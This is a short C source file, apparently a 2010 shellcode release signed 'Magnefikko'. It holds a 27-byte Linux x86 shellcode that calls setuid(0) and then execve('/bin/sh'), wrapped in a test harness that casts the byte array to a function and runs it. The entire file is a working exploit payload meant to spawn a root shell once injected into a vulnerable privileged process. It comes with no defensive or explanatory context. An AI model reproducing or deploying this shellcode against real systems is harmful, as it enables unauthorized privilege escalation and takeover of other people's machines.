#include <stdio.h>
#include <string.h>

/*
by Magnefikko
24.04.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.oz.pl
Subgroup: #PRekambr
Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode
Platform: Linux x86

setuid(0);
execve("/bin/sh", 0, 0);

gcc -Wl,-z,execstack filename.c

shellcode:

\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/

int main(){
char shell[] =
"\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}